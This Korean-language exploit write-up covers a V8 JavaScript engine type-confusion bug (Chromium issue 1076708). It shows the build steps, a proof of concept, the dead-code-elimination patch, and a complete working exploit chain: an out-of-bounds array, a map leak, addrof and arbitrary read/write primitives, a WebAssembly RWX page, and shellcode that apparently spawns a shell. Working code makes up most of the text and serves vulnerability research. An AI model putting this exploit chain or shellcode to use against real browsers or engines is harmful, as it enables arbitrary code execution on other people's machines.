목차

  • 빌드

  • POC 및 패치

  • 익스플로잇

  • 레퍼런스


빌드

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"
fetch v8 
cd v8 
git checkout a4dcd39d521d14c4b1cac020812e44ee04a7f244
gclient sync
tools/dev/gm.py x64.release

POC 및 패치

  • POC

    • Terminate node에 대한 검사를 하지 않고 그대로 처리해서 발생하는 type confusion bug
    class classA {
      constructor() {
        this.val = 0x4242;
        this.x = 0;
        this.a = [1,2,3];
      }
    }
      
    class classB {
      constructor() {
        this.val = 0x4141;
        this.x = 1;
        this.s = "dsa";
      }
    }
      
    var A = new classA();
    var B = new classB()
      
    function f (arg1, arg2) {
      if (arg2 == 41) {
        return 5;
      }
      var int8arr = new Int8Array ( 10 ) ;
      var z = arg1.x;
      // new arr length
      arg1.val = -1;
      int8arr [ 1500000000 ] = 22 ;
      async function f2 ( ) {
        const nothing = {} ;
        while ( 1 ) {
          //print("in loop");
          if ( abc1 | abc2 ) {
            while ( nothing ) {
              await 1 ;
              print(abc3);
            }
          }
        }
      }
      f2 ( ) ;
    }
      
    var arr = new Array(10);
    arr[0] = 1.1;
      
    var i;
    // this may optimize and deopt, that's fine
    for (i=0; i < 20000; i++) {
        f(A,0);
        f(B,0);
    }
    // this will optimize it and it won't deopt
    // this loop needs to be less than the previous one
    for (i=0; i < 10000; i++) {
        f(A,41);
        f(B,41);
    }
      
    // change the arr length
    f(arr,0);
      
    print("LENGTH: " + arr.length);
      
    print("value at index 12: " + arr[12]);
      
    // crash
    print("crash writing to offset 0x41414141");
    arr[0x41414141] = 1.1;
    
  • 패치

    • dead-code-elimination.cc

      <   if (FindDeadInput(node) != nullptr) {
      ---
      >   // Terminate nodes are not part of actual control flow, so they should never
      >   // be replaced with Throw.
      >   if (node->opcode() != IrOpcode::kTerminate &&
      >       FindDeadInput(node) != nullptr) {
      

익스플로잇

  • 2020년 초에 pointer compression이 추가되었다.

    • 공식문서: https://v8.dev/blog/pointer-compression)
    • 간단하게 요약하자면 64비트 아키텍쳐에서 32비트 포인터를 사용하여 메모리를 절약하는 기술이다.
  • pointer compression이 추가되기 전

    Untitled

  • pointer compression이 추가된 이후

    Untitled (1)

  • pointer compression이 걸리기 이전에 Smi를 표현할 때 총 8byte의 공간을 사용했고 값이 들어가는 부분은 상위 4byte뿐이었다. 하지만 이젠 총 4byte의 공간만 사용한다.

  • pointer compression이 걸리기 이전에 Pointer를 표현할 때 총 8byte의 공간을 사용했고 6byte의 값이 메모리에 쓰였는데, 상위 2byte의 값(base)이 다르게 메모리에 저장되진 않기 때문에 하위 4byte의 값(offset)만 저장하는 방식이다.

  • 단 double 데이터가 포함된 unboxed array는 64비트로 저장된다.

    • unboxed array란 object가 포함되지 않은 배열이다.
  • 디버깅 팁

    • gdb에서 poc를 로드하면 트리거 되지 않는다.

    • 코드 상에서 멈추고 싶은 부분에 while 문을 통한 무한 루프를 구성하고, attach를 하면 POC를 트리거 한 채로 디버깅이 가능했다.

  • oob가 발생하는 배열의 뒤에 float_arrobj_arr을 선언한다.

    oob       = [1.1, 1.2, 1.3, 1.4];
    float_arr = [2.1, 2.2, 2.3, 2.4];
    obj_arr   = [{}].slice();
      
    // change the arr length
    f(oob, 0);
      
    print("[+] LENGTH   : " + oob.length);
    // [+] LENGTH   : -1
    
  • oob_read 취약점을 통해 float_mapobject_map을 leak할 수 있는데 pointer compression이 걸려있어서 4byte씩 끊어서 가져와야한다.

    aa = (ftoi(oob[14])) 
    ah = aa >> 32n // float map
    al = aa & 0xffffffffn
      
    bb = (ftoi(oob[25])) 
    bh = bb >> 32n
    bl = bb & 0xffffffffn // object map
      
    print ('[+] float  map: ' + hex(ah));
    print ('[+] object map  : ' + hex(bl));
    
  • offset이 25일때 하위 4바이트가 object map이기 때문에 이 부분을 float_map으로 덮어서 addrof를 만들 수 있다.

  • 8byte단위로 overwrite가 되므로 상위 4바이트는 기존 값을 유지시켜 주었다.

    function addrof(obj) {
        obj_arr[0] = obj;
        oob[25] = itof((bh << 32n) | ah)
        let addr = obj_arr[0];
        oob[25] = itof((bh << 32n) | bl);
        return ftoi(addr) & 0xffffffffn;
    }
    
  • float_array의 elements 부분에 addr - 8을 연산한 값을 넣어주면 aaraaw가 생성된다.

  • offset이 15일때 상위 4byte가 elements 부분인데, 마찬가지로 하위 4byte 값은 유지해주었다.

    cc = ftoi(oob[15])
    cl = cc & 0xffffffffn
      
    function aar(addr) {
        // 15 offset is float_arr's elements
        oob[15] = itof((addr - 0x8n << 32n) | cl)
        return ftoi(float_arr[0]);
    }
      
    function aaw(addr, val) {
        // 15 offset is float_arr's elements
        oob[15] = itof((addr - 0x8n << 32n) | cl)
        float_arr[0] = itof(val);
    
  • wasm을 이용하여 rwx 영역을 만들면 된다.

  • rwx 영역의 offset은 디버깅을 통해 알 수 있다.

    • vmmap으로 rwx 영역 확인 후 해당 주소를 검색해보면 된다.
    var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); 
    var wasm_mod = new WebAssembly.Module(wasm_code);
    var wasm_instance = new WebAssembly.Instance(wasm_mod);
    var f = wasm_instance.exports.main;
    var wasm_i_addr = addrof(wasm_instance);
    var rwx = aar((wasm_i_addr+0x68n));
      
    print('[+] rwx      : ' + hex(rwx))
    
  • 셸코드를 실행하면 된다.

  • pointer compression이 걸려있어서 offset을 0x20에서 0x14로 수정해주었다.

    var shellcode = [0xbb48f631, 0x6e69622f, 0x68732f2f, 0x5f545356, 0x31583b6a, 0x050fd2];
    var shellcode_buf = new ArrayBuffer(0x100);
    var dataview = new DataView(shellcode_buf);
    aaw(addrof(shellcode_buf)+0x14n, rwx);
      
    for (var i=0; i<shellcode.length; i++) {
    	  dataview.setUint32(4*i, shellcode[i], true);
    }
    
  • 전체 코드

    class classA {
      constructor() {
        this.val = 0x4242;
        this.x = 0;
        this.a = [1,2,3];
      }
    }
      
    class classB {
      constructor() {
    	  this.val = 0x4141;
        this.x = 1;
        this.s = "dsa";
      }
    }
      
    var A = new classA();
    var B = new classB()
      
    function f (arg1, arg2) {
      if (arg2 == 41) {
        return 5;
      }
      var int8arr = new Int8Array ( 10 ) ;
      var z = arg1.x;
      // new arr length
      arg1.val = -1;
      int8arr [ 1500000000 ] = 22 ;
      async function f2 ( ) {
        const nothing = {} ;
        while ( 1 ) {
          if ( abc1 | abc2 ) {
            while ( nothing ) {
              await 1 ;
              print(abc3);
            }
          }
        }
      }
      f2 ( ) ;
    }
      
    var i;
    // this may optimize and deopt, that's fine
    for (i=0; i < 20000; i++) {
        f(A,0);
        f(B,0);
    }
      
    // this will optimize it and it won't deopt
    // this loop needs to be less than the previous one
    for (i=0; i < 10000; i++) {
        f(A,41);
        f(B,41);
    }
      
    oob       = [1.1, 1.2, 1.3, 1.4];
    float_arr = [2.1, 2.2, 2.3, 2.4];
    obj_arr   = [{}].slice();
      
    // change the arr length
    f(oob, 0);
      
    print("[+] LENGTH   : " + oob.length);
      
    var buf     = new ArrayBuffer(8); 
    var f64_buf = new Float64Array(buf);
    var u64_buf = new Uint32Array(buf); 
      
    function ftoi(val) { 
        f64_buf[0] = val;
        return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
    }
      
    function itof(val) { 
        u64_buf[0] = Number(val & 0xffffffffn);
        u64_buf[1] = Number(val >> 32n);
        return f64_buf[0];
    }
      
    function hex(b) {
        return ('0x' + b.toString(16));
    }
      
    aa = (ftoi(oob[14])) 
    ah = aa >> 32n // float map
    al = aa & 0xffffffffn
      
    bb = (ftoi(oob[25])) 
    bh = bb >> 32n
    bl = bb & 0xffffffffn // obj map
      
    print ('[+] float map: ' + hex(ah));
    print ('[+] obj map  : ' + hex(bl));
      
    function addrof(obj) {
        obj_arr[0] = obj;
        oob[25] = itof((bh << 32n) | ah)
        let addr = obj_arr[0];
        oob[25] = itof((bh << 32n) | bl);
        return ftoi(addr) & 0xffffffffn;
    }
      
    cc = ftoi(oob[15])
    cl = cc & 0xffffffffn
      
    function aar(addr) {
        oob[15] = itof((addr - 0x8n << 32n) | cl)
        return ftoi(float_arr[0]);
    }
      
    function aaw(addr, val) {
        oob[15] = itof((addr - 0x8n << 32n) | cl)
        float_arr[0] = itof(val);
    }
      
    var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); 
    var wasm_mod = new WebAssembly.Module(wasm_code);
    var wasm_instance = new WebAssembly.Instance(wasm_mod);
    var f = wasm_instance.exports.main;
    var wasm_i_addr = addrof(wasm_instance);
    var rwx = aar((wasm_i_addr+0x68n));
      
    print('[+] rwx      : ' + hex(rwx))
      
    var shellcode = [0xbb48f631, 0x6e69622f, 0x68732f2f, 0x5f545356, 0x31583b6a, 0x050fd2];
    var shellcode_buf = new ArrayBuffer(0x100);
    var dataview = new DataView(shellcode_buf);
    aaw(addrof(shellcode_buf)+0x14n, rwx);
      
    for (var i=0; i<shellcode.length; i++) {
        dataview.setUint32(4*i, shellcode[i], true);
    }
    f();
    

레퍼런스

https://bugs.chromium.org/p/chromium/issues/detail?id=1076708